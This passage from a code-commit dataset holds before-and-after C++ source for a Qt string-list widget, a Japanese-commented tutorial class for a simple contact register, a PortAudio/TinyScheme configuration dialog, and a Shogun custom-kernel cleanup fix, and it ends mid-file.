mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n\n \/\/ notify of value change\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n\nvoid QtWidgetStringListParameter::SetString(const QString& value)\n{\n m_StringListParam->AddString(value.toAscii().constData());\n m_StringListParam->SetUserValue(true);\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n}\n\n\nvoid\nQtWidgetStringListParameter::AddString()\n{\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n m_StringLayout->addWidget( m_LineEditList[i] );\n }\n\n QtStringSelectionWidget * stringInput = new QtStringSelectionWidget();\n stringInput->setFixedHeight( 30 );\n m_StringLayout->addWidget( stringInput );\n m_LineEditList.push_back(stringInput);\n m_StringListParam->AddNullElement();\n connect( stringInput,\n SIGNAL(InternalQLineEditEditionFinished()),\n this,\n SLOT(UpdateStringList()));\n\n connect( stringInput,\n SIGNAL(InternalQLineEditEditionFinished()),\n GetModel(),\n SLOT(NotifyUpdate()) );\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n}\n\n\nvoid\nQtWidgetStringListParameter::SupressString()\n{\n m_StringLayout = new QVBoxLayout();\n m_StringLayout->setSpacing(0);\n std::vector<QtStringSelectionWidget *> tmpList;\n for(unsigned int i=0; i<m_LineEditList.size(); i++ )\n {\n if( !m_LineEditList[i]->IsChecked() )\n {\n m_StringLayout->addWidget( m_LineEditList[i] );\n tmpList.push_back(m_LineEditList[i]);\n }\n }\n\n m_LineEditList = tmpList;\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n this->RecreateStringList();\n}\n\n\nvoid\nQtWidgetStringListParameter::EraseString()\n{\n m_LineEditList.clear();\n\n m_StringLayout = new QVBoxLayout();\n\n QtStringSelectionWidget * stringSelection = new QtStringSelectionWidget();\n stringSelection->setFixedHeight( 30 );\n m_StringLayout->addWidget( stringSelection );\n m_LineEditList.push_back(stringSelection);\n m_StringListParam->AddNullElement();\n connect( stringSelection,\n SIGNAL(InternalQLineEditEditionFinished()),\n this,\n SLOT(UpdateStringList()) );\n\n QGroupBox *mainGroup = new QGroupBox();\n mainGroup->setLayout(m_StringLayout);\n m_Scroll->setWidget(mainGroup);\n\n this->update();\n this->RecreateStringList();\n}\n\n\nvoid QtWidgetStringListParameter::RecreateStringList()\n{\n \/\/ save value\n m_StringListParam->ClearValue();\n\n if( m_LineEditList.size() != 0)\n {\n for(unsigned int j=0; j<m_LineEditList.size(); j++ )\n {\n m_StringListParam->AddString(m_LineEditList[j]->ToStdString());\n }\n\n emit Change();\n \/\/ notify of value change\n QString key( m_StringListParam->GetKey() );\n emit ParameterChanged(key);\n }\n}\n\n\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ ヘッダのインクルード\n#include <iostream> \/\/ C++標準入出力\n#include <cstring> \/\/ C文字列処理\n\n\/\/ クラスclass_profileの定義\nclass class_profile{ \/\/ 簡易名簿\n\n \/\/ privateメンバ\n private: \/\/ このクラス内部からのみアクセス可.\n\n \/\/ privateメンバ変数\n char name[32]; \/\/ 名前\n int age; \/\/ 年齢\n char address[128]; \/\/ 住所\n\n \/\/ publicメンバ\n public: \/\/ このクラスの外部からもアクセス可.\n\n \/\/ コンストラクタ\n class_profile(); \/\/ 各メンバの初期化処理を行うコンストラクタclass_profile\n\n \/\/ publicメンバ関数\n void input(); \/\/ 名前(name), 年齢(age), 住所(address)の入力.\n void output(); \/\/ 名前(name), 年齢(age), 住所(address)の入力.\n\n};\n\n\/\/ class_profileのメンバの定義\n\/\/ コンストラクタclass_profile()\nclass_profile::class_profile(){ \/\/ name, age, addressの初期化処理\n\n \/\/ name, age, addressの初期化\n strcpy(name, \"(none)\"); \/\/ 名前が無いことを意味する\"(none)\"に初期化しておく.\n age = -1; \/\/ 年齢が無いことを意味する-1に初期化しておく.\n strcpy(address, \"(none)\"); \/\/ 住所が無いことを意味する\"(none\")に初期化しておく.\n\n}\n\n\/\/ メンバ関数input()\nvoid class_profile::input(){ \/\/ name, age, addressの入力.\n\n \/\/ name, age, addressの入力.\n std::cout << \"name: \"; \/\/ nameの入力フォーム\n std::cin >> name; \/\/ 入力された文字列をnameに格納.\n std::cout << \"age: \"; \/\/ ageの入力フォーム\n std::cin >> age; \/\/ 入力された整数をageに格納.\n std::cout << \"address: \"; \/\/ addressの入力フォーム\n std::cin >> address; \/\/ 入力された文字列をaddressに格納.\n\n}\n\n\/\/ メンバ関数output()\nvoid class_profile::output(){ \/\/ name, age, addressの出力.\n\n \/\/ name, age, addressの出力.\n std::cout << \"name: \" << name << std::endl; \/\/ nameの内容を出力.\n std::cout << \"age: \" << age << std::endl; \/\/ ageの内容を出力.\n std::cout << \"address: \" << address << std::endl; \/\/ addressの内容を出力.\n\n}\n\n\/\/ main関数の定義\nint main(){\n\n \/\/ オブジェクトの宣言\n class_profile prof; \/\/ class_profileのオブジェクトprofを宣言, この場合はここでコンストラクタが呼ばれる.\n\n \/\/ profの中身がコンストラクタによって初期化されているか確認.\n prof.output(); \/\/ output()メンバ関数でデータを出力する.\n\n \/\/ 1行空ける.\n std::cout << std::endl; \/\/ std::endlで1行空ける.\n\n \/\/ profに名簿データを入力.\n prof.input(); \/\/ input()メンバ関数でデータを入力する.\n\n \/\/ 1行空ける.\n std::cout << std::endl; \/\/ std::endlで1行空ける.\n\n \/\/ profの名簿データを出力.\n prof.output(); \/\/ output()メンバ関数でデータを出力する.\n\n \/\/ プログラムの終了\n return 0;\n\n}\n<commit_msg>fixed comment<commit_after>\/\/ ヘッダのインクルード\n#include <iostream> \/\/ C++標準入出力\n#include <cstring> \/\/ C文字列処理\n\n\/\/ クラスclass_profileの定義\nclass class_profile{ \/\/ 簡易名簿\n\n \/\/ privateメンバ\n private: \/\/ このクラス内部からのみアクセス可.\n\n \/\/ privateメンバ変数\n char name[32]; \/\/ 名前\n int age; \/\/ 年齢\n char address[128]; \/\/ 住所\n\n \/\/ publicメンバ\n public: \/\/ このクラスの外部からもアクセス可.\n\n \/\/ コンストラクタ\n class_profile(); \/\/ 各メンバの初期化処理を行うコンストラクタclass_profile\n\n \/\/ publicメンバ関数\n void input(); \/\/ 名前(name), 年齢(age), 住所(address)の入力.\n void output(); \/\/ 名前(name), 年齢(age), 住所(address)の出力.\n\n};\n\n\/\/ class_profileのメンバの定義\n\/\/ コンストラクタclass_profile()\nclass_profile::class_profile(){ \/\/ name, age, addressの初期化処理\n\n \/\/ name, age, addressの初期化\n strcpy(name, \"(none)\"); \/\/ 名前が無いことを意味する\"(none)\"に初期化しておく.\n age = -1; \/\/ 年齢が無いことを意味する-1に初期化しておく.\n strcpy(address, \"(none)\"); \/\/ 住所が無いことを意味する\"(none\")に初期化しておく.\n\n}\n\n\/\/ メンバ関数input()\nvoid class_profile::input(){ \/\/ name, age, addressの入力.\n\n \/\/ name, age, addressの入力.\n std::cout << \"name: \"; \/\/ nameの入力フォーム\n std::cin >> name; \/\/ 入力された文字列をnameに格納.\n std::cout << \"age: \"; \/\/ ageの入力フォーム\n std::cin >> age; \/\/ 入力された整数をageに格納.\n std::cout << \"address: \"; \/\/ addressの入力フォーム\n std::cin >> address; \/\/ 入力された文字列をaddressに格納.\n\n}\n\n\/\/ メンバ関数output()\nvoid class_profile::output(){ \/\/ name, age, addressの出力.\n\n \/\/ name, age, addressの出力.\n std::cout << \"name: \" << name << std::endl; \/\/ nameの内容を出力.\n std::cout << \"age: \" << age << std::endl; \/\/ ageの内容を出力.\n std::cout << \"address: \" << address << std::endl; \/\/ addressの内容を出力.\n\n}\n\n\/\/ main関数の定義\nint main(){\n\n \/\/ オブジェクトの宣言\n class_profile prof; \/\/ class_profileのオブジェクトprofを宣言, この場合はここでコンストラクタが呼ばれる.\n\n \/\/ profの中身がコンストラクタによって初期化されているか確認.\n prof.output(); \/\/ output()メンバ関数でデータを出力する.\n\n \/\/ 1行空ける.\n std::cout << std::endl; \/\/ std::endlで1行空ける.\n\n \/\/ profに名簿データを入力.\n prof.input(); \/\/ input()メンバ関数でデータを入力する.\n\n \/\/ 1行空ける.\n std::cout << std::endl; \/\/ std::endlで1行空ける.\n\n \/\/ profの名簿データを出力.\n prof.output(); \/\/ output()メンバ関数でデータを出力する.\n\n \/\/ プログラムの終了\n return 0;\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright 2014 Sarah Wong\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"configuration.h\"\n#include \"ui_configuration.h\"\n\n#include <QDebug>\n#include <QResource>\n\n#include <portaudiocpp\/System.hxx>\n#include <portaudiocpp\/SystemHostApiIterator.hxx>\n#include <portaudiocpp\/SystemDeviceIterator.hxx>\n\n#include \"tinyscheme\/scheme-private.h\"\n#include \"tinyscheme\/scheme.h\"\n\nnamespace {\n\ntemplate <class IndexMapType, class ItemIter, class ItemType, class Callable1,\n class Callable2>\nstatic void insertWithDefault(QComboBox *comboBox, IndexMapType &map,\n ItemIter begin, ItemIter end,\n ItemType& defaultItem,\n\t\t\t Callable1 stringGenerator,\n Callable2 mapItemGenerator) {\n int itemPosition = 0;\n\n comboBox->clear();\n map.clear();\n\n {\n map[itemPosition] = mapItemGenerator(defaultItem);\n\n comboBox->insertItem(itemPosition++,\n QLatin1String(\"Default: \") + stringGenerator(defaultItem));\n }\n\n comboBox->insertSeparator(itemPosition++);\n\n while (begin != end) {\n ItemType& item = *begin;\n\n map[itemPosition] = mapItemGenerator(item);\n\n comboBox->insertItem(itemPosition++, stringGenerator(item));\n\n ++begin;\n }\n\n}\n\nstruct GetDataFromResource {\n\n GetDataFromResource(const char *file)\n {\n QResource resource(file);\n Q_ASSERT(resource.isValid());\n if (resource.isCompressed())\n m_byteArray = qUncompress(resource.data(), resource.size());\n else\n m_byteArray = QByteArray(reinterpret_cast<const char*>(resource.data()), resource.size());\n }\n\n const QByteArray& byteArray() const { return m_byteArray; }\n\n QByteArray m_byteArray;\n};\n\n} \/\/ namespace anonymous\n\nConfiguration::Configuration(QWidget *parent) :\n QDialog(parent),\n ui(new Ui::Configuration)\n{\n ui->setupUi(this);\n\n GetDataFromResource defaultConfigScm(\":\/tinyscheme\/default-config.scm\");\n ui->txtConfig->setPlainText(\n QString::fromUtf8(defaultConfigScm.byteArray().data(),\n defaultConfigScm.byteArray().size()));\n\n portaudio::System& sys = portaudio::System::instance();\n\n insertWithDefault(\n ui->cmbAudioHost, m_indexToHostApiTypeId, sys.hostApisBegin(),\n sys.hostApisEnd(), sys.defaultHostApi(),\n [](portaudio::HostApi &hostApi) { return hostApi.name(); },\n [](portaudio::HostApi &hostApi) { return hostApi.typeId(); });\n}\n\nPaDeviceIndex Configuration::getDeviceIndex() const\n{\n auto index = ui->cmbInputDevice->currentIndex();\n Q_ASSERT(index != -1);\n return m_indexToDeviceIndex[index];\n}\n\nvoid Configuration::on_cmbAudioHost_currentIndexChanged(int index)\n{\n if (index == -1)\n return;\n\n portaudio::HostApi &hostApi = portaudio::System::instance().hostApiByTypeId(\n m_indexToHostApiTypeId[index]);\n\n insertWithDefault(\n ui->cmbInputDevice, m_indexToDeviceIndex,\n hostApi.devicesBegin(), hostApi.devicesEnd(), hostApi.defaultInputDevice(),\n [](portaudio::Device &device) { return device.name(); },\n [](portaudio::Device &device) { return device.index(); });\n\n}\n\nnamespace {\n\nstruct Ptr {\n scheme *sc_;\n pointer p_;\n\n Ptr(scheme *sc, pointer p) : sc_(sc), p_(p) {}\n\n#define P(v) Ptr(sc_, v)\n\n Ptr nil () { return P(sc_->NIL); }\n\n bool is_nil () { return p_ == sc_->NIL; }\n\n bool is_string () { return sc_->vptr->is_string(p_); }\n char *string_value() { return sc_->vptr->string_value(p_); }\n bool is_number () { return sc_->vptr->is_number(p_); }\n num nvalue () { return sc_->vptr->nvalue(p_); }\n long ivalue () { return sc_->vptr->ivalue(p_); }\n double rvalue () { return sc_->vptr->rvalue(p_); }\n bool is_integer () { return sc_->vptr->is_integer(p_); }\n bool is_real () { return sc_->vptr->is_real(p_); }\n bool is_character () { return sc_->vptr->is_character(p_); }\n long charvalue () { return sc_->vptr->charvalue(p_); }\n bool is_list () { return sc_->vptr->is_list(sc_, p_); }\n bool is_vector () { return sc_->vptr->is_vector(p_); }\n int list_length () { return sc_->vptr->list_length(sc_, p_); }\n long vector_length() { return sc_->vptr->vector_length(p_); }\n Ptr vector_elem (int ielem) { return P(sc_->vptr->vector_elem(p_, ielem)); }\n bool is_pair () { return sc_->vptr->is_pair(p_); }\n Ptr car () { return P(sc_->vptr->pair_car(p_)); }\n Ptr cdr () { return P(sc_->vptr->pair_cdr(p_)); }\n\n bool is_symbol () { return sc_->vptr->is_symbol(p_); }\n char *symname () { return sc_->vptr->symname(p_); }\n\n#undef P\n\n};\n\nstruct Config {\n Config(const char *configScript) : sc_(scheme_init_new())\n {\n Q_ASSERT(sc_ != nullptr);\n\n scheme_set_output_port_file(sc_, stdout);\n\n loadResource(\":\/tinyscheme\/init.scm\");\n loadResource(\":\/tinyscheme\/config-helper.scm\");\n\n read_eval(\"(begin (display 1337) (newline))\");\n\n scheme_load_string(sc_, configScript);\n if (sc_->retcode != 0) qDebug() << \"Scheme failed\" << __LINE__;\n\n pointer ret = read_eval(\"(cdr (assv ':sample-rate (cdr (assv 'audio-config config))))\");\n qDebug() << sc_->vptr->ivalue(ret);\n }\n\n void loadResource(const char *resource)\n {\n GetDataFromResource gdfr(resource);\n scheme_load_string(sc_, gdfr.byteArray().data());\n }\n\n pointer read_eval(const char* script)\n {\n \/\/ tinyscheme bug: When executing\n \/\/\n \/\/ (read (open-input-string script))\n \/\/\n \/\/ sc_->inport needs to be set, or there will be an error when\n \/\/ read is restoring the previous inport value when returning.\n scheme_set_input_port_file(sc_, stdin); \/\/ TODO stdin?\n\n pointer fun = scheme_eval(sc_, mk_symbol(sc_, \"read-eval\"));\n pointer arg = mk_string(sc_, script);\n return scheme_call(sc_, fun, _cons(sc_, arg, sc_->NIL, 0));\n }\n\n scheme *sc_;\n};\n\n} \/\/ namespace anonymous\n\nvoid Configuration::on_buttonBox_accepted()\n{\n QString configText = ui->txtConfig->toPlainText();\n QByteArray configTextBa = configText.toUtf8();\n Config cfg(configTextBa.constData());\n\n emit accept();\n}\n\nConfiguration::~Configuration()\n{\n delete ui;\n}\n<commit_msg>Config read_eval to use new Ptr class!<commit_after>\/*\n Copyright 2014 Sarah Wong\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*\/\n\n#include \"configuration.h\"\n#include \"ui_configuration.h\"\n\n#include <QDebug>\n#include <QResource>\n\n#include <portaudiocpp\/System.hxx>\n#include <portaudiocpp\/SystemHostApiIterator.hxx>\n#include <portaudiocpp\/SystemDeviceIterator.hxx>\n\n#include \"tinyscheme\/scheme-private.h\"\n#include \"tinyscheme\/scheme.h\"\n\nnamespace {\n\ntemplate <class IndexMapType, class ItemIter, class ItemType, class Callable1,\n class Callable2>\nstatic void insertWithDefault(QComboBox *comboBox, IndexMapType &map,\n ItemIter begin, ItemIter end,\n ItemType& defaultItem,\n\t\t\t Callable1 stringGenerator,\n Callable2 mapItemGenerator) {\n int itemPosition = 0;\n\n comboBox->clear();\n map.clear();\n\n {\n map[itemPosition] = mapItemGenerator(defaultItem);\n\n comboBox->insertItem(itemPosition++,\n QLatin1String(\"Default: \") + stringGenerator(defaultItem));\n }\n\n comboBox->insertSeparator(itemPosition++);\n\n while (begin != end) {\n ItemType& item = *begin;\n\n map[itemPosition] = mapItemGenerator(item);\n\n comboBox->insertItem(itemPosition++, stringGenerator(item));\n\n ++begin;\n }\n\n}\n\nstruct GetDataFromResource {\n\n GetDataFromResource(const char *file)\n {\n QResource resource(file);\n Q_ASSERT(resource.isValid());\n if (resource.isCompressed())\n m_byteArray = qUncompress(resource.data(), resource.size());\n else\n m_byteArray = QByteArray(reinterpret_cast<const char*>(resource.data()), resource.size());\n }\n\n const QByteArray& byteArray() const { return m_byteArray; }\n\n QByteArray m_byteArray;\n};\n\n} \/\/ namespace anonymous\n\nConfiguration::Configuration(QWidget *parent) :\n QDialog(parent),\n ui(new Ui::Configuration)\n{\n ui->setupUi(this);\n\n GetDataFromResource defaultConfigScm(\":\/tinyscheme\/default-config.scm\");\n ui->txtConfig->setPlainText(\n QString::fromUtf8(defaultConfigScm.byteArray().data(),\n defaultConfigScm.byteArray().size()));\n\n portaudio::System& sys = portaudio::System::instance();\n\n insertWithDefault(\n ui->cmbAudioHost, m_indexToHostApiTypeId, sys.hostApisBegin(),\n sys.hostApisEnd(), sys.defaultHostApi(),\n [](portaudio::HostApi &hostApi) { return hostApi.name(); },\n [](portaudio::HostApi &hostApi) { return hostApi.typeId(); });\n}\n\nPaDeviceIndex Configuration::getDeviceIndex() const\n{\n auto index = ui->cmbInputDevice->currentIndex();\n Q_ASSERT(index != -1);\n return m_indexToDeviceIndex[index];\n}\n\nvoid Configuration::on_cmbAudioHost_currentIndexChanged(int index)\n{\n if (index == -1)\n return;\n\n portaudio::HostApi &hostApi = portaudio::System::instance().hostApiByTypeId(\n m_indexToHostApiTypeId[index]);\n\n insertWithDefault(\n ui->cmbInputDevice, m_indexToDeviceIndex,\n hostApi.devicesBegin(), hostApi.devicesEnd(), hostApi.defaultInputDevice(),\n [](portaudio::Device &device) { return device.name(); },\n [](portaudio::Device &device) { return device.index(); });\n\n}\n\nnamespace {\n\nstruct Ptr {\n scheme *sc_;\n pointer p_;\n\n Ptr(scheme *sc, pointer p) : sc_(sc), p_(p) {}\n\n#define P(v) Ptr(sc_, v)\n\n Ptr nil () { return P(sc_->NIL); }\n\n bool is_nil () { return p_ == sc_->NIL; }\n\n bool is_string () { return sc_->vptr->is_string(p_); }\n char *string_value() { return sc_->vptr->string_value(p_); }\n bool is_number () { return sc_->vptr->is_number(p_); }\n num nvalue () { return sc_->vptr->nvalue(p_); }\n long ivalue () { return sc_->vptr->ivalue(p_); }\n double rvalue () { return sc_->vptr->rvalue(p_); }\n bool is_integer () { return sc_->vptr->is_integer(p_); }\n bool is_real () { return sc_->vptr->is_real(p_); }\n bool is_character () { return sc_->vptr->is_character(p_); }\n long charvalue () { return sc_->vptr->charvalue(p_); }\n bool is_list () { return sc_->vptr->is_list(sc_, p_); }\n bool is_vector () { return sc_->vptr->is_vector(p_); }\n int list_length () { return sc_->vptr->list_length(sc_, p_); }\n long vector_length() { return sc_->vptr->vector_length(p_); }\n Ptr vector_elem (int ielem) { return P(sc_->vptr->vector_elem(p_, ielem)); }\n bool is_pair () { return sc_->vptr->is_pair(p_); }\n Ptr car () { return P(sc_->vptr->pair_car(p_)); }\n Ptr cdr () { return P(sc_->vptr->pair_cdr(p_)); }\n\n bool is_symbol () { return sc_->vptr->is_symbol(p_); }\n char *symname () { return sc_->vptr->symname(p_); }\n\n#undef P\n\n};\n\nstruct Config {\n Config(const char *configScript) : sc_(scheme_init_new())\n {\n Q_ASSERT(sc_ != nullptr);\n\n scheme_set_output_port_file(sc_, stdout);\n\n loadResource(\":\/tinyscheme\/init.scm\");\n loadResource(\":\/tinyscheme\/config-helper.scm\");\n\n read_eval(\"(begin (display 1337) (newline))\");\n\n scheme_load_string(sc_, configScript);\n if (sc_->retcode != 0) qDebug() << \"Scheme failed\" << __LINE__;\n\n Ptr ret = read_eval(\"(cdr (assv ':sample-rate (cdr (assv 'audio-config config))))\");\n qDebug() << ret.ivalue();\n }\n\n void loadResource(const char *resource)\n {\n GetDataFromResource gdfr(resource);\n scheme_load_string(sc_, gdfr.byteArray().data());\n }\n\n Ptr read_eval(const char* script)\n {\n \/\/ tinyscheme bug: When executing\n \/\/\n \/\/ (read (open-input-string script))\n \/\/\n \/\/ sc_->inport needs to be set, or there will be an error when\n \/\/ read is restoring the previous inport value when returning.\n scheme_set_input_port_file(sc_, stdin); \/\/ TODO stdin?\n\n pointer fun = scheme_eval(sc_, mk_symbol(sc_, \"read-eval\"));\n pointer arg = mk_string(sc_, script);\n return Ptr(sc_, scheme_call(sc_, fun, _cons(sc_, arg, sc_->NIL, 0)));\n }\n\n scheme *sc_;\n};\n\n} \/\/ namespace anonymous\n\nvoid Configuration::on_buttonBox_accepted()\n{\n QString configText = ui->txtConfig->toPlainText();\n QByteArray configTextBa = configText.toUtf8();\n Config cfg(configTextBa.constData());\n\n emit accept();\n}\n\nConfiguration::~Configuration()\n{\n delete ui;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2009 Soeren Sonnenburg\n * Written (W) 2012 Heiko Strathmann\n * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society\n *\/\n\n#include <shogun\/lib\/common.h>\n#include <shogun\/kernel\/CustomKernel.h>\n#include <shogun\/features\/Features.h>\n#include <shogun\/features\/DummyFeatures.h>\n#include <shogun\/io\/SGIO.h>\n\nusing namespace shogun;\n\nvoid\nCCustomKernel::init()\n{\n\tm_row_subset=NULL;\n\tm_col_subset=NULL;\n\n\tSG_ADD((CSGObject**)&m_row_subset, \"row_subset\", \"Subset of rows\",\n\t\t\tMS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_col_subset, \"col_subset\", \"Subset of columns\",\n\t\t\tMS_NOT_AVAILABLE);\n\n\tm_parameters->add(&kmatrix, \"kmatrix\", \"Kernel matrix.\");\n\tm_parameters->add(&upper_diagonal, \"upper_diagonal\");\n}\n\nCCustomKernel::CCustomKernel()\n: CKernel(10), kmatrix(), upper_diagonal(false)\n{\n\tinit();\n}\n\nCCustomKernel::CCustomKernel(CKernel* k)\n: CKernel(10)\n{\n\tinit();\n\n\tset_full_kernel_matrix_from_full(k->get_kernel_matrix());\n\/\/\tSG_PRINT(\"created custom kernel with kernel matrix:\\n\");\n\/\/\tprint_kernel_matrix();\n}\n\nCCustomKernel::CCustomKernel(SGMatrix<float64_t> km)\n: CKernel(10), upper_diagonal(false)\n{\n\tinit();\n\tset_full_kernel_matrix_from_full(km);\n}\n\nCCustomKernel::~CCustomKernel()\n{\n\tSG_UNREF(m_row_subset);\n\tSG_UNREF(m_col_subset);\n\tcleanup();\n}\n\nbool CCustomKernel::dummy_init(int32_t rows, int32_t cols)\n{\n\treturn init(new CDummyFeatures(rows), new CDummyFeatures(cols));\n}\n\nbool CCustomKernel::init(CFeatures* l, CFeatures* r)\n{\n\tremove_row_subset();\n\tremove_col_subset();\n\n\tCKernel::init(l, r);\n\n\tSG_DEBUG( \"num_vec_lhs: %d vs num_rows %d\\n\", l->get_num_vectors(), kmatrix.num_rows);\n\tSG_DEBUG( \"num_vec_rhs: %d vs num_cols %d\\n\", r->get_num_vectors(), kmatrix.num_cols);\n\tASSERT(l->get_num_vectors()==kmatrix.num_rows);\n\tASSERT(r->get_num_vectors()==kmatrix.num_cols);\n\treturn init_normalizer();\n}\n\nvoid CCustomKernel::cleanup_custom()\n{\n\tSG_DEBUG(\"cleanup up custom kernel\\n\");\n\tremove_row_subset();\n\tremove_col_subset();\n\tSG_FREE(kmatrix.matrix);\n\tkmatrix.matrix=NULL;\n\tupper_diagonal=false;\n\tkmatrix.num_cols=0;\n\tkmatrix.num_rows=0;\n}\n\nvoid CCustomKernel::cleanup()\n{\n\tremove_row_subset();\n\tremove_col_subset();\n\tcleanup_custom();\n\tCKernel::cleanup();\n}\n\nvoid CCustomKernel::set_row_subset(CSubset* subset)\n{\n\tSG_UNREF(m_row_subset);\n\tm_row_subset=subset;\n\tSG_REF(subset);\n\n\t\/* update num_lhs *\/\n\tnum_lhs=subset ? subset->get_size() : 0;\n}\nvoid CCustomKernel::set_col_subset(CSubset* subset)\n{\n\tSG_UNREF(m_col_subset);\n\tm_col_subset=subset;\n\tSG_REF(subset);\n\n\t\/* update num_rhs *\/\n\tnum_rhs=subset ? subset->get_size() : 0;\n}\n\nvoid CCustomKernel::remove_row_subset()\n{\n\tset_row_subset(NULL);\n\n\t\/* restore num_lhs *\/\n\tnum_lhs=kmatrix.num_rows;\n}\n\nvoid CCustomKernel::remove_col_subset()\n{\n\tset_col_subset(NULL);\n\n\t\/* restore num_rhs *\/\n\tnum_rhs=kmatrix.num_cols;\n}\n\nvoid CCustomKernel::print_kernel_matrix(const char* prefix) const\n{\n\tindex_t num_rows=m_row_subset ? m_row_subset->get_size() : kmatrix.num_rows;\n\tindex_t num_cols=m_col_subset ? m_col_subset->get_size() : kmatrix.num_cols;\n\tfor (index_t i=0; i<num_rows; ++i)\n\t{\n\t\tfor (index_t j=0; j<num_cols; ++j)\n\t\t{\n\t\t\tindex_t real_i=row_subset_idx_conversion(i);\n\t\t\tindex_t real_j=col_subset_idx_conversion(j);\n\t\t\tSG_PRINT(\"%s%4.2f\", kmatrix.matrix[kmatrix.num_rows*real_j+real_i],\n\t\t\t\t\tprefix);\n\t\t\tif (j<num_cols-1)\n\t\t\t\tSG_PRINT(\", \\t\");\n\t\t}\n\t\tSG_PRINT(\"\\n\");\n\t}\n}\n<commit_msg>free kernel matrix only if there is one specified<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 1999-2009 Soeren Sonnenburg\n * Written (W) 2012 Heiko Strathmann\n * Copyright (C) 1999-2009 Fraunhofer Institute FIRST and Max-Planck-Society\n *\/\n\n#include <shogun\/lib\/common.h>\n#include <shogun\/kernel\/CustomKernel.h>\n#include <shogun\/features\/Features.h>\n#include <shogun\/features\/DummyFeatures.h>\n#include <shogun\/io\/SGIO.h>\n\nusing namespace shogun;\n\nvoid\nCCustomKernel::init()\n{\n\tm_row_subset=NULL;\n\tm_col_subset=NULL;\n\n\tSG_ADD((CSGObject**)&m_row_subset, \"row_subset\", \"Subset of rows\",\n\t\t\tMS_NOT_AVAILABLE);\n\tSG_ADD((CSGObject**)&m_col_subset, \"col_subset\", \"Subset of columns\",\n\t\t\tMS_NOT_AVAILABLE);\n\n\tm_parameters->add(&kmatrix, \"kmatrix\", \"Kernel matrix.\");\n\tm_parameters->add(&upper_diagonal, \"upper_diagonal\");\n}\n\nCCustomKernel::CCustomKernel()\n: CKernel(10), kmatrix(), upper_diagonal(false)\n{\n\tinit();\n}\n\nCCustomKernel::CCustomKernel(CKernel* k)\n: CKernel(10)\n{\n\tinit();\n\n\tset_full_kernel_matrix_from_full(k->get_kernel_matrix());\n\/\/\tSG_PRINT(\"created custom kernel with kernel matrix:\\n\");\n\/\/\tprint_kernel_matrix();\n}\n\nCCustomKernel::CCustomKernel(SGMatrix<float64_t> km)\n: CKernel(10), upper_diagonal(false)\n{\n\tinit();\n\tset_full_kernel_matrix_from_full(km);\n}\n\nCCustomKernel::~CCustomKernel()\n{\n\tSG_UNREF(m_row_subset);\n\tSG_UNREF(m_col_subset);\n\tcleanup();\n}\n\nbool CCustomKernel::dummy_init(int32_t rows, int32_t cols)\n{\n\treturn init(new CDummyFeatures(rows), new CDummyFeatures(cols));\n}\n\nbool CCustomKernel::init(CFeatures* l, CFeatures* r)\n{\n\tremove_row_subset();\n\tremove_col_subset();\n\n\tCKernel::init(l, r);\n\n\tSG_DEBUG( \"num_vec_lhs: %d vs num_rows %d\\n\", l->get_num_vectors(), kmatrix.num_rows);\n\tSG_DEBUG( \"num_vec_rhs: %d vs num_cols %d\\n\", r->get_num_vectors(), kmatrix.num_cols);\n\tASSERT(l->get_num_vectors()==kmatrix.num_rows);\n\tASSERT(r->get_num_vectors()==kmatrix.num_cols);\n\treturn init_normalizer();\n}\n\nvoid CCustomKernel::cleanup_custom()\n{\n\tSG_DEBUG(\"cleanup up custom kernel\\n\");\n\tremove_row_subset();\n\tremove_col_subset();\n\tif (kmatrix.matrix)\n\t\tSG_FREE(kmatrix.matrix);\n\tkmatrix.matrix=NULL;\n\tupper_diagonal=false;\n\tkmatrix.num_cols=0;\n\tkmatrix.num_rows=0;\n}\n\nvoid CCustomKernel::cleanup()\n{\n\tremove_row_subset();\n\tremove_col_subset();\n\tcleanup_custom();\n\tCKernel::cleanup();\n}\n\nvoid CCustomKernel::set_row_subset(CSubset* subset)\n{\n\tSG_UNREF(m_row_subset);\n\tm_row_subset=subset;\n\tSG_REF(subset);\n\n\t\/* update num_lhs *\/\n\tnum_lhs=subset ? subset->get_size() : 0;\n}\nvoid CCustomKernel::set_col_subset(CSubset* subset)\n{\n\tSG_UNREF(m_col_subset);\n\tm_col_subset=subset;\n\tSG_REF(subset);\n\n\t\/* update num_rhs *\/\n\tnum_rhs=subset ? subset->get_size() : 0;\n}\n\nvoid CCustomKernel::remove_row_subset()\n{\n\tset_row_subset(NULL);\n\n\t\/* restore num_lhs 